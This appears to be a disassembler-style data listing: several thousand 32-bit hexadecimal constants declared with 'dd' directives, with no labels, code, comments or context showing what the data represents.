dd 9D2B1230h, 0BFC85339h, 1AB2B8E6h, 0A0957F30h, 2CF83CBAh
dd 1076039Eh, 0D98B1705h, 0E55C67FBh, 6A9F4F39h, 99B58BBFh
dd 4FBB7D20h, 460924EFh, 2DAB70Fh, 0E07C936h, 43211E49h
dd 7EB58531h, 0BC4825E2h, 1729F110h, 35EB70E6h, 0B391FBAEh
dd 0FA050F41h, 40F8C493h, 5271E0BFh, 4076E612h, 0B6040F17h
dd 0BADA8BC8h, 62B9A598h, 60C1C726h, 0CD1DF60h, 64F25281h
dd 0DA40093h, 11C08B63h, 61145F50h, 29EE8C1h, 0D8A098D7h
dd 0D4814007h, 9958BFDEh, 0A5A15CCCh, 0F8C8062Bh, 0CCD18BF9h
dd 0FE1F652Fh, 3DF2CCBAh, 858B1961h, 0B5FF2B41h, 9B39D8Ch
dd 498E568Fh, 6007CC86h, 0D9243920h, 8A594512h, 8BD03BFBh
dd 234C0E11h, 65AADF3Eh, 8F1227Dh, 2F2159BDh, 754066DCh
dd 0F99EDC4h, 8C0459B0h, 9A277F80h, 4A0EEF94h, 3D1996CBh
dd 1505FC56h, 8DEA01E1h, 0D8F70382h, 0B65927Ch, 330BA5A5h
dd 0F290D7FEh, 8077BB5h, 1D575AF8h, 89C379B0h, 10152A95h
dd 8749EDE2h, 51EBA920h, 23C2CDABh, 13F2B58Dh, 0EDF52D62h
dd 52C4C051h, 0E717481Fh, 0EB04B183h, 1AA527B9h, 11DB7482h
dd 0C4F7529Dh, 36E00035h, 0BE655F3Dh, 4A00D9CCh, 0C24DBAB5h
dd 14485EA2h, 0F609ADFCh, 172E6D10h, 75EF5F5Bh, 0CB6BC2h
dd 0C602BCC0h, 2EFAE10h, 9973D381h, 71C01ACAh, 0B980068Dh
dd 87074880h, 101F7984h, 76FC2FD3h, 2908DC20h, 96AECEDh
dd 879DFCFFh, 9D891411h, 6853C855h, 0F34000BFh, 0ED4A2144h
dd 0D5E4F9CFh, 78E1D90Bh, 0FE34819Bh, 85C3B85Bh, 80E49EFBh
dd 0ABCA311Fh, 5B8015Ah
dd 0F6EBC4Ch, 4BD228Eh, 0B5DBD01h, 0EBD22B05h, 3D808C9Bh
dd 1EEEB8EDh, 19838524h, 5FD5C100h, 3333AD39h, 0D052D1C2h
dd 7504E9F0h, 6BABF44Ah, 2CE84B95h, 109C113Ah, 0B9D6685h
dd 3DD7162Dh, 7EAA0076h, 0F20ECF4Ch, 69205890h, 880D3312h
dd 4DDA3329h, 958B9EE8h, 0BD265525h, 84AB0046h, 0BB0DE830h
dd 505E341Ch, 5134166h, 0BCC04751h, 0DDC00267h, 0C513F8F7h
dd 4B53C60h, 0C25E3C83h, 0C103188Dh, 59A5FF08h, 5B5819C8h
dd 0E30BC09Dh, 161299DFh, 30800F7Ah, 17C5952Bh, 0F1FDC082h
dd 7E50821Ch, 0FD24B26Bh, 0B6809737h, 5B31BE10h, 94453878h
dd 30D39048h, 0B44DCC57h, 0F3C73C07h, 6D138D3Dh, 0B9845E4Eh
dd 0DDB8C4h, 8671AB77h, 0BA2C6F3Dh, 2311E830h, 0D3CC78h
dd 0D6AF5FA7h, 0E06071BDh, 0C3F68803h, 9A08A90Fh, 5F52858Ah
dd 2DB0D82h, 0FF021F51h, 346DFDE1h, 129031C0h, 2642E2EBh
dd 134FCBD2h, 0D7D905FAh, 0BD4C806Ch, 0BFA6163Dh, 0D404DB2Fh
dd 0C60EF463h, 640F2F65h, 0EDFA292Eh, 203442F6h, 4EC24301h
dd 0C0EB8FFEh, 2B33EAFDh, 0DE381E9Fh, 60986C94h, 9E64818h
dd 17BCA302h, 906052F7h, 220F0340h, 81014C86h, 0E77EE6C7h
dd 0A133607Ah, 0FD301AA2h, 5EFE05CEh, 0FEED79CCh, 0D83A21C4h
dd 4A041523h, 90816085h, 0EF620F51h, 72CCD10h, 4E18061h
dd 6A4010C4h, 581D2D12h, 5D26DB00h, 53225E3Ch, 14C67E6Ch
dd 0B7C90ADFh, 240A6B25h, 0EA00DE23h, 0E0213A2Fh, 4F426043h
dd 0A36F40E9h, 396DE772h, 7CCE4B0Fh, 626E0588h, 2869D1C1h
dd 0A870F00h, 0EBB0FD9Dh, 6D0146C6h, 85334022h, 6E330E61h
dd 7D3018E2h, 4C9E73B8h, 0FA58D0D0h, 30609085h, 8C62F095h
dd 0A8BA4Ch, 0AB1A5531h, 98F768Ah, 61BBE5F3h, 90F88482h
dd 60EF016Dh, 0AD48E5EEh, 440F4CFDh, 17E5FC24h, 108A30F8h
dd 79007AA6h, 4F3622D3h, 747D1Ah, 46E7CF4h, 0B77B2A9Bh
dd 78C0F26h, 58448E6Dh, 79BD9E8Ch, 4E88099h, 3FF17C3h
dd 0B09A871Fh, 0BD236640h, 0BB01007Ch, 57041E78h, 0B71B505Fh
dd 0BAC38B80h, 0E685152h, 0D3407DB5h, 0E1C0BB7Eh, 7100B0E2h
dd 0BD5F059Dh, 79FA0140h, 932890C9h, 0B7310F57h, 8B585AE2h
dd 66609F40h, 0D2F4BF13h, 1742A2EAh, 0DD215B61h, 0B8E7FB8Bh
dd 0B61DB58Dh, 292D880Fh, 0D516F817h, 0B5092290h, 0F93140FDh
dd 6592F6E6h, 0CB952938h, 0C685B846h, 67E8B031h, 4C73149h
dd 1020B218h, 0CC402B65h, 6BB5F2FEh, 0B7DF36CAh, 83BC803Ch
dd 29638B34h, 2F3984C4h, 1988638Fh, 865CD1C0h, 3E051832h
dd 0D85B057h, 0D29D0E82h, 6647FD7h, 0BCC1E49Bh, 0C0CA84F5h
dd 1D49AFECh, 0C3DB93D3h, 667D6C80h, 893FB226h, 0BCA0CD46h
dd 9AFA0068h, 0B9807469h, 0DD5C9D33h, 3489814Eh, 80420124h
dd 8231F20Dh, 0D94E79F7h, 9701818h, 0F16911EBh, 0ABB8A116h
dd 0DD8A5012h, 45B29425h, 0EFB6500h, 2933166h, 0EEED0300h
dd 8F6F9639h, 8E8B67D2h, 80DE4452h, 29A9BB7Ch, 5A765B15h
dd 1E663E4Ah, 31464DEFh, 48EBE985h, 0ABD27A8Dh, 8EC037DAh
dd 8C3E12D5h, 1950B609h, 0D8698483h, 0A92AA6F1h, 3FD0AC1Fh
dd 9F81E2BBh, 3540F11Bh, 1B230F6h, 0B602340h, 4D8D2956h
dd 0B29C12F5h, 4EDFFE6h, 40A81362h, 830761E4h, 85C7FCA0h
dd 5DA5E1B1h, 1F00983Dh, 0B44FF08Eh, 0F9851309h, 0F39D900Dh
dd 16B8DEB6h, 8AB2C584h, 2786D695h, 250B48B7h, 2DE306D3h
dd 903F906Bh, 27266965h, 770072C4h, 4E3299BFh, 383050D6h
dd 4439110Ch, 0E8C10187h, 20EAC10h, 3FC4CE0h, 9843584Bh
dd 7736EBE7h, 0E648136h, 1B8C857Bh, 0D0282950h, 58331821h
dd 57420113h, 31A9481Bh, 270DD8C0h, 296F272h, 47385B2h
dd 6180D4BDh, 93E59BD5h, 0D6801460h, 0D80FD201h, 0FC240F9h
dd 0D696FEBFh, 5D753969h, 0DA4FA768h, 95A24300h, 3B3EFBB5h
dd 60573653h, 3E023A2h, 50BA49FEh, 465F6125h, 75F8ED63h
dd 76F3BF2Bh, 992B6D0h, 51FC63F0h, 5BFB3082h, 13C23FC1h
dd 8CFED50Fh, 0C72CF925h, 4357406h, 93E0D4E6h, 3300791Ah
dd 0FC8A65E0h, 0B6D5BD01h, 0FF96193Ah, 88FA1515h, 0F300D21Bh
dd 0AE907DDEh, 158576Fh, 269BC0B5h, 705B149Dh, 3FB39693h
dd 298AE78h, 5A745B2Dh, 0E0B14Bh, 0FD820CC5h, 0B0022E4h
dd 0FDEF9D43h, 0AC9252C9h, 0C6F950C5h, 44418A4Dh, 195F65CDh
dd 0BC446DA7h, 345D002Eh, 0DF81B0FDh, 0E44CDC3Eh, 0DD8517A1h
dd 0EA9BB853h, 8E0FA282h, 0BF00CCE4h, 6B8BF034h, 0D7C48689h
dd 84E5DB17h, 38F72A71h, 41B0CC46h, 0BC05EFD6h, 0FDFF5323h
dd 96ACBF0h, 4C28302h, 60434D55h, 4FAF4E5Dh, 16577D0Fh
dd 408374FFh, 0D72E8022h, 5009F5FDh, 39ED5720h, 0D8293E60h
dd 999300F6h, 6A3016AEh, 0C92CBD89h, 5541A92Dh, 55DAECD0h
dd 0F85B20D3h, 66F2D3h, 8834426Dh, 4AEF809Ah, 80BA7695h
dd 0B6E394BEh, 0EE00931Dh, 0D87105C7h, 0E819E7AEh, 6D9F2846h
dd 9B844F4h, 428294D6h, 0DE345C6Ah, 132F83Ah, 0BD2BB285h
dd 722E1649h, 0CD61FCBDh, 0F7855569h, 1F6A4F60h, 0BBC9700h
dd 0D098DBFAh, 5B4C967Ah, 42574905h, 0B8015D3Dh, 0E922028Ch
dd 69C868BEh, 1D102B5Ch, 0EC9CBB03h, 0F4BC6F18h, 3E0029A9h
dd 83C3CA59h, 0B6EEDh, 0F47F6B9Ch, 34891F19h, 3231F2C4h
dd 0F17233Eh, 0BD2BD2F6h, 0DC14482h, 39918A05h, 11E22AB1h
dd 26DD3343h, 86366BFAh, 0C8504A20h, 5300905Fh, 20660FDAh
dd 0DBE6824h, 8E3E84D9h, 0FAEDE6B0h, 43B5EDE0h, 125BE267h
dd 0F6AA7786h, 1D8508C0h, 2F614219h, 3BD1BB21h, 0CD2C1649h
dd 1DD8D680h, 9A979E55h, 0E95B57DAh, 3F106058h, 0D3874938h
dd 6BF728D4h, 0B8517898h, 99FC209h, 4407D17Ah, 0B5894238h
dd 970550C5h, 0D157F53Ah, 35EAF803h, 3E20809h, 1F6780Dh
dd 0DB81D88Bh, 0FE6D79F2h, 8B71CA5Eh, 9D370108h, 9562856Dh
dd 0F0765039h, 0FFF2380Eh, 1976EDBh, 4588E52Eh, 237C1764h
dd 0DBC18B12h, 0D53780CCh, 97E29311h, 0A4CC59Ah, 2245B2A0h
dd 33C9081h, 0BC55CB81h, 3942E8C1h, 0B9AE3201h, 8CF70187h
dd 4CA14E0h, 0E87A7E30h, 0BD9C400Ah, 22349CFh, 0B501554Eh
dd 10605B4Fh, 1609BF60h, 5D318252h, 0FFE4FE0h, 0C70A93EFh
dd 55900CC2h, 2C580AD3h, 8A8E1AE3h, 482040DEh, 6D3ED502h
dd 0FA7B78FAh, 5F0BF00Bh, 516522B3h, 0E8A815Bh, 0ED2AEDA8h
dd 5B79B842h, 0F1A61278h, 0B8BD7902h, 5F35001Bh, 19C4E16Dh
dd 7E48474Fh, 26495E77h, 0A0D50090h, 0FBF50A2h, 69455A46h
dd 0E0C9F672h, 68E289F5h, 0A59AB8BAh, 743B1740h, 3F090ED4h
dd 29FBCAA9h, 886E0A54h, 6D60C116h, 24753ACCh, 0C3BECFFFh
dd 906961DAh, 25CFCD5Eh, 11C0FF59h, 5E82245Dh, 1464511Dh
dd 0C43121B0h, 81FC02C5h, 0C9CA8A49h, 8C70F6E2h, 144400A7h
dd 0E9606660h, 0A0803196h, 0BD2C8806h, 5CB302DFh, 61D179E8h
dd 0B52DBCC5h, 3A6A0708h, 0E80EC4E9h, 0A818B118h, 36AC2A09h
dd 2B0203FCh, 0B305394Fh, 706D5B38h, 1B0973D3h, 0D1F86265h
dd 0B70F8706h, 8B6063DFh, 85C161A2h, 0ADB51014h, 0F1FAE8h
dd 20A56E9Fh, 26BD7DEDh, 3C020DF0h, 0BAA0FAEEh, 61F35790h
dd 7F0FBF58h, 0B3980375h, 1BD07FA7h, 0E8FEAAD0h, 0A85284Eh
dd 88BBCFFFh, 0CEA5C016h, 895C5736h, 4E032006h, 0BB2A985Fh
dd 87345809h, 0A505D11Ch
dd 808B3575h, 58FF08A8h, 311D684Dh, 0D5E56ADDh, 61801CB5h
dd 0EF74EEAEh, 54160AAAh, 2C59890Fh, 10E90907h, 98D35D5Bh
dd 4C8AF105h, 92563F4h, 695E9462h, 415237C4h, 3D9D2B43h
dd 6C5E3A30h, 2ED48ED7h, 1C11DECh, 3A3111BDh, 0E4D87820h
dd 810F2E71h, 9D594989h, 49E75E02h, 80A9D90Bh, 0FB617C9Dh
dd 2098DDCAh, 4E023D20h, 0EA90925Bh, 93095F12h, 51008A79h
dd 0A282BF66h, 8E189D5Bh, 3243BD9Dh, 0AA6BB412h, 1A17DA90h
dd 0E8F200F5h, 5EC5C0BFh, 0DF13AC49h, 8FA47828h, 12C72780h
dd 6A578841h, 2B5F8C02h, 99C760C8h, 535FD204h, 0E9C1A57Ah
dd 57658902h, 4087D05Fh, 7A98090Bh, 0DA4E27D9h, 0BF86033Ah
dd 3A34EC6h, 2756105Ch, 348249D8h, 75D96012h, 271DE200h
dd 54B788h, 7D49A113h, 848AA61h, 0C07E1F4Ch, 2F5B3E1Bh
dd 0BDE50E25h, 0AD615A1Eh, 3A42E961h, 83F87522h, 0A2949ABh
dd 1E198DD1h, 0A2DF1353h, 12272290h, 0F4898D29h, 18A1A5CCh
dd 49354FEh, 0E828B190h, 990B8B81h, 0BD042F6Ch, 1D9E8482h
dd 29858902h, 60509A58h, 31880680h, 0C2C57B95h, 19419D55h
dd 856A6103h, 7EE066B6h, 0B52509F5h, 8CC41335h, 0A077A7ABh
dd 1757F321h, 57B983Ch, 0C2F5BFAAh, 505DB971h, 18C2F289h
dd 0C6181A70h, 359D2A81h, 801D116Fh, 0C9145695h, 104B0B1Bh
dd 24A4893Dh, 454C81DFh, 3BB00427h, 2B0D41B1h, 0E508BC25h
dd 44D9A807h, 2B25F801h, 79DD64D2h, 0F5940022h, 31FC8C4Ch
dd 1E9DCAA9h, 0DD53500Fh, 49548A11h, 88810743h, 1FD647Bh
dd 0E8A44FE0h, 2A5B97F1h, 6A408E20h, 0E7300449h, 0BB880D5Fh
dd 0E3A075B7h, 0D495AE71h, 0CACE69ACh, 7EC8F695h, 2DAC2E50h
dd 0FF5CDDAAh, 0B9E755E9h, 0C7012FE5h, 224B3D8Ah, 4B499220h
dd 0C9FFCB12h, 5B60429h, 8975D214h, 5FE33456h, 69E39497h
dd 0CD5725BCh, 0F44D670Bh, 3BF5AAF8h, 1C7735E4h, 79E00893h
dd 0EA4427ADh, 100B8200h, 72FFA27Dh, 0C5DE00CBh, 43BDC82Ch
dd 8912FD2Fh, 8504567Ah, 5B0E1805h, 874F6132h, 2660130Bh
dd 812F6D2h, 61121DC9h, 30B56B04h, 4B16F712h, 0A28F929Ah
dd 0B711680h, 0D7098099h, 5DE1FFA0h, 0D26734EDh, 0E00DFB10h
dd 2213017Fh, 0CDE38166h, 0ED282F48h, 0C8418A2Ah, 0C9282FFAh
dd 0D4958635h, 4C127EB3h, 0B4F29FD1h, 6649D48Ch, 8260BB1Ch
dd 8F37A7h, 0BC82D4E6h, 60900AC4h, 60898FA2h, 24B0B770h
dd 9704B920h, 0E35B9209h, 25D79370h, 29E4F66Ah, 0A2D2F84Bh
dd 4BED1A90h, 0C1CFA540h, 0B8AF00A1h, 4237DD80h, 8D588960h
dd 0D18A87D8h, 0A5CA5B69h, 927D9FD7h, 9874007Ch, 71C22267h
dd 5920C6B8h, 0B61A970Eh, 2EA58982h, 87B15004h, 783E1A3Ah
dd 0D9F98187h, 50C43479h, 863EEB9h, 0C06FA8Bh, 585A6160h
dd 9DA6F504h, 43E90F50h, 0DE3B4A17h, 0D90E315Fh, 0B87D6958h
dd 0F3880053h, 0BA98D58Ch, 0BA956552h, 5089533Ch, 0B03B26C4h
dd 1C884E0Ch, 7C780AECh, 8321B2h, 3E89D9EDh, 0DD77C639h
dd 5A0F583Ch, 411D97CCh, 62242E17h, 95BC2AEDh, 0A2DC5B00h
dd 1B358FE8h, 0F0575CD7h, 3908F510h, 4A9FA45Fh, 86B7A7h
dd 9D99303Bh, 0A7B06D7Dh, 8FB20F83h, 0D5A55A74h, 63CC7BA0h
dd 350094B8h, 14428D92h, 2CED9185h, 9575BE4h, 0C77B2B25h
dd 0C0E2EDA7h, 97DD20B5h, 0ABA71F12h, 1715F704h, 7DE3AEh
dd 286D446Fh, 1243A3F6h, 0F7E0F735h, 890125F8h, 8EF57119h
dd 12148D0Fh, 0F9DA884Bh, 0FD01E4A1h, 562528D9h, 0C01E58C5h
dd 35CBFFF1h, 85F4CE0Fh, 0E05F2510h, 12B2BF80h, 103EB35Ah
dd 3417F191h, 0E048B624h, 1F90CF8Eh, 0C0DF98E0h, 7ABB5360h
dd 92CB73Eh, 0F70E545Bh, 7B64E961h, 0CB5A589h, 64B36700h
dd 27A4B4B5h, 0A341ACBFh, 57680003h, 1A820699h, 0D281F3B7h
dd 9D9AA81Eh, 6D098D6Ch, 69617919h, 2D50CC73h, 53E316DFh
dd 0FF1702BFh, 1C799067h, 22C8FB00h, 0E2E528Dh, 5B9946EAh
dd 0C91B1700h, 240330F0h, 50D4B6F8h, 6C529253h, 905F2D49h
dd 134CB9C2h, 0DA8B511Fh, 0A99B6196h, 1078781h, 4E3D2F77h
dd 0C8A99B3Dh, 9A98FDC7h, 811EBC0Eh, 327F62DBh, 51755C4Ch
dd 5F7B7A27h, 3B4E1100h, 0D6E2CD43h, 9208E948h, 4BAE3CE3h
dd 0F58067DBh, 3514B261h, 385E1209h, 0BF0B0497h, 95BDF980h
dd 649C9725h, 528A0444h, 0F5C4C4D8h, 0A020B703h, 7F0D88h
dd 0F915C926h, 0F5DC6535h, 1FB2049Dh, 6FD6ECA9h, 0ABC709CEh
dd 0A6647BA1h, 9200D649h, 0FA59CEDEh, 4B7711F1h, 2BBC8DCFh
dd 0DE621C04h, 3C25FBCh, 33E9A9BDh, 4976096h, 0F9F2818Ah
dd 54F25077h, 0DD854094h, 2C00BCAAh, 0A173C171h, 59DDAA9h
dd 398D29A0h, 308A292Bh, 8B880257h, 129897FBh, 4520BD29h
dd 0C3810232h, 3A878CA6h, 0DCE8185Eh, 1215465Ch, 0EF6DB11h
dd 3F3019B2h, 76D80AA9h, 8FAF7CDh, 0CA2507FDh, 0F491D40Eh
dd 0E02E8800h, 1DB1A956h, 816701F4h, 0C42504CBh, 218F6035h
dd 59CB055Bh, 17B85B48h, 0BFDA098Ch, 1015E42h, 2FFCA9F7h
dd 80821D1Fh, 5C5F41F3h, 25F920F4h, 0CDCE499Fh, 96359Fh
dd 63E172CDh, 810255BFh, 0C9BD71D3h, 6BB65C2Bh, 50C12BEDh
dd 3CAEB8BFh, 0D100DC4Ch, 0E5E8D85Bh, 48C04AC2h, 62250A6h
dd 9DB5291Dh, 0FB72ECE4h, 50665043h, 0A5B5893Fh, 0A0F4CE0Ch
dd 30CE4F77h, 0AAD45389h, 5C5D7A0Ch, 0C26E4A49h, 97C62300h
dd 3195C29Eh, 0F568572h, 0EA025465h, 0C28DD94Bh, 125CF3E8h
dd 0E2378EB1h, 0A85288A1h, 22952681h, 6ED84D16h, 8677DD70h
dd 4889096Bh, 44622621h, 0B82A9860h, 0BB2D8195h, 0FB609424h
dd 9AFC9596h, 764C36D6h, 0F3011584h, 4D50CAB4h, 6B2FD88Bh
dd 192376h, 0F884B307h, 0F268A16h, 0BF61888Bh, 0DD2B32CAh
dd 0A76A2ECAh, 0CDE4C100h, 0D3C6576Dh, 166FBB3Dh, 256E0B19h
dd 0C0171423h, 0BCAEC830h, 0DED0EF0h, 5DB592h, 0F7972591h
dd 6A042ED2h, 0FD8B5E77h, 0E36C12AAh, 0F6CA4A26h, 5BA02422h
dd 0DA2509EEh, 94F6C607h, 0E24240C8h, 0A40038C5h, 6F49F3B3h
dd 944C0B8h, 0A2BEE31Ch, 9695EA70h, 78D09BE2h, 0CA0EDBBCh
dd 20450B3Dh, 0E9D5CBDFh, 0C1E2953Bh, 0D409C56h, 3844Ch
dd 71EF014Fh, 74942902h, 0B40033F8h, 0E05BB98Ah, 0EC11BFFDh
dd 17527885h, 0DBC18BF9h, 299480B6h, 8ED1E46h, 1D69B509h
dd 64BC8B2Fh, 975100CFh, 0A3260943h, 0E77D40B3h, 0ACD874Bh
dd 2B49BA41h, 0ED5033Ch, 38D4C5BCh, 0BD096292h, 0B1DA5711h
dd 0EDB86B13h, 0E4F040B6h, 60B07F6h, 24A5C35h, 91CD15Fh
dd 0DDDF3800h, 0C0568369h, 71CE030h, 0E8AE75DCh, 8B9003CDh
dd 43B350D9h, 545EF5B3h, 8256A709h, 610F1B8h, 32931A5Bh
dd 0C5DB5D78h, 0CC8D0F66h, 3597FA5Fh, 801891BDh, 91B49083h
dd 978D71AEh, 467C07F6h, 1F22001Ah, 6DA5ED58h, 7C109FFFh
dd 5F009B77h, 0F8176773h, 0B63133h, 0EA1618E3h, 0AAA83F9Eh
dd 0ECD1FF2Eh, 0BF873760h, 5A70769h, 0FE44A311h, 0CCD8BDC4h
dd 1E014729h, 495640BCh, 53DC5494h, 0C15B0348h, 0EF0B0FB5h
dd 2EF48EB1h, 91C7FA28h, 1816F9F2h, 0BB6424E9h, 0B38E0224h
dd 0F38428DAh, 26A457Dh, 0C5E0D5F6h, 4A121289h, 8804FE30h
dd 9009050Dh, 57502721h, 0B8BAD860h, 0F31F5A79h, 0D9E55F61h
dd 0D626003Eh, 91082AB6h, 0DD8A9A0Bh, 2555705Bh, 30EE7A35h
dd 2D0359Dh, 52941F4Eh
dd 1D409F74h, 0F6F673C0h, 7DBF0FFBh, 0B4F2BC47h, 6400A86Ah
dd 0F0873248h, 260CDBCEh, 4DB3913h, 0F29D2980h, 0F55B1D88h
dd 0E50D257Ch, 0B875885Dh, 43BC6D49h, 0BD8201C6h, 29577D62h
dd 41D4D87Bh, 0E1102032h, 51A7184Bh, 44E5C240h, 0C497500Ch
dd 0C0A901D3h, 0CBC26C0Fh, 0D8256B0Eh, 0AE002CF2h, 0BCB2D9A4h
dd 9D7F6F14h, 2D43DB04h, 0B6BA905Bh, 7D2BB0F2h, 0CACD099Bh
dd 6904EAFFh, 0A44FBCE6h, 4DA9CAB9h, 271551A0h, 9EFD0CCh
dd 2E0DD9A1h, 98497E8Ah, 48028CACh, 22B6DE4Ah, 4B3C67Bh
dd 0F96A1082h, 0D07BBC9Ch, 18D10CEh, 0DB2EFB7Fh, 89EC8170h
dd 0BD2F6985h, 3F514FCh, 0A53188F8h, 0EF6B37CCh, 424B8243h
dd 1C335E7Ah, 0E6022280h, 0B98D0970h, 9F2A5D24h, 0A3AF60C0h
dd 203E5E8Ah, 2520C8ACh, 0F51CEE05h, 0BADEF417h, 0A99DA242h
dd 66795F03h, 0E58D3182h, 51C1221Dh, 21F98C83h, 986514Bh
dd 0C185693Ch, 2B030C70h, 319589C8h, 0D13D090Dh, 9D84BF0Fh
dd 9D0B427Fh, 257F44B5h, 9CE40885h, 7075FD69h, 0F560C405h
dd 8B30BA1Eh, 8C0331BDh, 4F251D45h, 133824E9h, 122BBE45h
dd 0A657FCEFh, 2C1D314Ah, 82FF8D87h, 0AFBB6603h, 44F35CD7h
dd 0E3814023h, 415C6F68h, 92190437h, 0FE2CB198h, 0F8E5AC08h
dd 0EF309713h, 30B937A9h, 0AC181DF1h, 0E0D86300h, 0E6E88350h
dd 0CFA150A9h, 93849521h, 0BC65AD6Ah, 7EA6288Ch, 0B94170BBh
dd 2FDD09B9h, 5E690779h, 9900D43Ch, 6649DD0Ah, 25BAB2BFh
dd 960A9AB9h, 164BDEB3h, 0A6EB14C4h, 0C5C1B15Dh, 3D345FD5h
dd 0FC8D04B5h, 910D9D33h, 89C02B69h, 0D1F228AAh, 0D9880095h
dd 0D7FB2C9Eh, 6873E277h, 0A00FA326h, 74D22B09h, 1C46FE11h
dd 1CA9640h, 0C2BBF0DAh, 2AFCB550h, 3269C504h, 2EB212h
dd 0B257DA5h, 7D8094Dh, 3CDF60D6h, 0D3185040h, 8D482F53h
dd 59897098h, 0FF4D027Bh, 3875880Dh, 39EC0561h, 1A807D42h
dd 0A80F3CBCh, 234F56DAh, 1604C235h, 0FDB91DC9h, 451248D4h
dd 0F5DBE226h, 0F195BB04h, 42A2CEB8h, 0D058FB5Dh, 0A60521C8h
dd 0B095CFB9h, 0C84A68ECh, 7E09BFA7h, 717C90C4h, 1ABB8095h
dd 0FF61A58Ch, 0B529E105h, 0B7B70B49h, 4A69F62h, 120AD10Bh
dd 2B00D914h, 8AA75E28h, 0AC9AE82h, 14510F6h, 86C4EAB2h
dd 747BAF58h, 79D29800h, 6067C5BBh, 2DC77BEh, 0B4E3F2FEh
dd 635CF87Ah, 0E278C823h, 0C8C20083h, 29769463h, 104BA58Dh
dd 8A768599h, 49E44DA0h, 0A5852912h, 442BBEA1h, 0EB013484h
dd 0EBF46EF6h, 1C555BA1h, 0F348B2F3h, 54C5AD25h, 52C9E82Fh
dd 0EB10BF60h, 0E6000869h, 9E7C0449h, 25EB4399h, 3A715FFAh
dd 40240442h, 0BD1DAD39h, 1B91BC1Fh, 5E0B4080h, 0E217F277h
dd 14334D55h, 3087D01Ah, 969002F5h, 32D59D03h, 99685F00h
dd 2E1217DEh, 0F4953060h, 0BB042858h, 615B51DAh, 6609ACA8h
dd 0FFD00DDDh, 4A0C6559h, 6A7A6CDDh, 0C7700064h, 0C680FB67h
dd 84924B26h, 3A05F1EFh, 6A26516Fh, 0BCE700F2h, 23EE923h
dd 97F456BCh, 89E020F4h, 9729F5BDh, 8EBB2838h, 645EB412h
dd 8000F6B3h, 0B50103E7h, 0BA951E6Dh, 0A7F354F9h, 73D0DF5Bh
dd 3F90BDD1h, 7D0219F2h, 0F0BF5831h, 51FFD696h, 8F81E689h
dd 26D8BCCBh, 0C07A4C72h, 9D451378h, 0B5400071h, 0F6F9B438h
dd 0BE4BFDC2h, 8DB62685h, 0A89047E0h, 1F8F517h, 448AF4F0h
dd 58585702h, 7B6EC06Eh, 5301CBh, 47C031F5h, 0FC93AB49h
dd 776FCE04h, 0BE826ECDh, 50A540CFh, 0D70ECB60h, 7698E47Ah
dd 529B964Eh, 43EB4A80h, 99030A3Dh, 2EBFFB97h, 71E9A766h
dd 0E47B2766h, 59B6B78h, 0A70DA023h, 1DB369h, 0A418932h
dd 94CD95h, 5E0FC248h, 0BBFF2193h, 0A0A74597h, 2E6C031Eh
dd 21CA87DCh, 936933D0h, 1F3BBA01h, 60BE18FBh, 56093C36h
dd 4689615Eh, 0A4E8C5E4h, 6346E400h, 0E53D147Ah, 94D74E05h
dd 218FBD93h, 0E3BB00DAh, 5816F5D3h, 6880F11h, 59BD0B09h
dd 3A8DD741h, 1823326Ah, 5B0390Dh, 4A36056Fh, 8BAAE4D6h
dd 64D2F86Bh, 128D01BEh, 0FC4420C6h, 36EAB189h, 5232DE8Bh
dd 4646A97h, 418FB456h, 0B69C20BFh, 2E3948D0h, 348830A0h
dd 4CDEB5Ch, 7A06A29Ah, 0C8B180D9h, 3317F04Bh, 6BDB615Fh
dd 98911680h, 9C5834B6h, 2571109Fh, 4DEBCF4Ah, 44BACF5h
dd 0CCA841B7h, 5C3CAEF9h, 47A29610h, 2C3308C5h, 56B4ACDEh
dd 0F3954AB7h, 9D08AF0Ch, 3F792909h, 0B92FBE75h, 2937ACE9h
dd 66A16633h, 81EC5714h, 0D962499Ch, 2A82092Dh, 595422D1h
dd 6753F358h, 0F4F12E6Ah, 0FB65AEE9h, 8421E330h, 3B837246h
dd 3E89F040h, 27704801h, 49F6ACBCh, 0B64AB894h, 301AB2FCh
dd 1002C7D3h, 0D2A96979h, 38A454F9h, 66F15044h, 0C2E0F7D2h
dd 9DD2FA3h, 693759Ch, 12546059h, 0E3F832A9h, 12013BD8h
dd 0EAB90E3Dh, 0B8C6C4D2h, 0BBCD4A23h, 97061A70h, 5939A16h
dd 0B688558h, 0EDA83839h, 5E149418h, 698B8A00h, 0BF8F72FBh
dd 0D03D1FA1h, 90A50049h, 0EB8141E6h, 276FBBA0h, 0A99D5B4Bh
dd 77316A7Ah, 0BB28F800h, 1582599Bh, 84FB4B8Bh, 31DDACAAh
dd 2050F316h, 1EF16A76h, 654C93A6h, 0CAAD71C4h, 0F88C1AACh
dd 9CA40543h, 0AC5CFA72h, 0F346C3DFh, 0B1D198F2h, 1FAB25D5h
dd 2B6D4C6h, 0A48A16DCh, 609CB085h, 0C5201090h, 0B50B080Dh
dd 61120E31h, 0DBD5352h, 4C05C8ECh, 4920E171h, 2848B9E3h
dd 5060F44Ah, 5C875CB1h, 0B370F533h, 73716Eh, 5DBD4A51h
dd 20953F81h, 0FFBB7D12h, 5F631F04h, 3C4CC8B8h, 0D10F6D13h
dd 2F071D00h, 0B829122Dh, 0A31297A8h, 210296F2h, 4A019531h
dd 91BA551Eh, 0E050825Bh, 3172027Dh, 8D892EC7h, 65A5C9D6h
dd 413D11F0h, 6E4B7F99h, 36D996h, 2914F6F3h, 0C705CDC6h
dd 62A347BAh, 486537C9h, 168A274Ch, 2D8BE59h, 26FEE638h
dd 0C1CE53E2h, 6C08575Ch, 9BF9FA0Ah, 18167156h, 287F256Fh
dd 0D9DCEC6h, 42AE9D2h, 0ED4B4C43h, 0EA2964Dh, 37CF8103h
dd 29C8868Ah, 45AA19Dh, 0F95D8CF7h, 0F30696B8h, 0F4B658C2h
dd 7A92594h, 5C13B3C7h, 5CB019F7h, 0ED09CB37h, 5C46A186h
dd 29B5E9C5h, 8D114780h, 1645DFBFh, 837ACE1h, 1A70355h
dd 0FCC78010h, 0F9EA092Eh, 0B5E9EB71h, 0BD69823Dh, 0E35CB6E9h
dd 0EDC18B09h, 2971C0BEh, 0E9E491F9h, 9D23FB04h, 0F0E0685h
dd 0C45EA8B6h, 0B7120DC1h, 32CD10BEh, 9C749024h, 0B7614760h
dd 670039D1h, 9D4BB3BFh, 4E905340h, 0B36F6Ah, 9D40C94Bh
dd 0B98BA1Eh, 0DA8BB599h, 1714E854h, 0A50592E4h, 560327F1h
dd 0F2EDC7C2h, 77A2D7F5h, 0FCADC9BDh, 0EAD52AB3h, 0C659BC99h
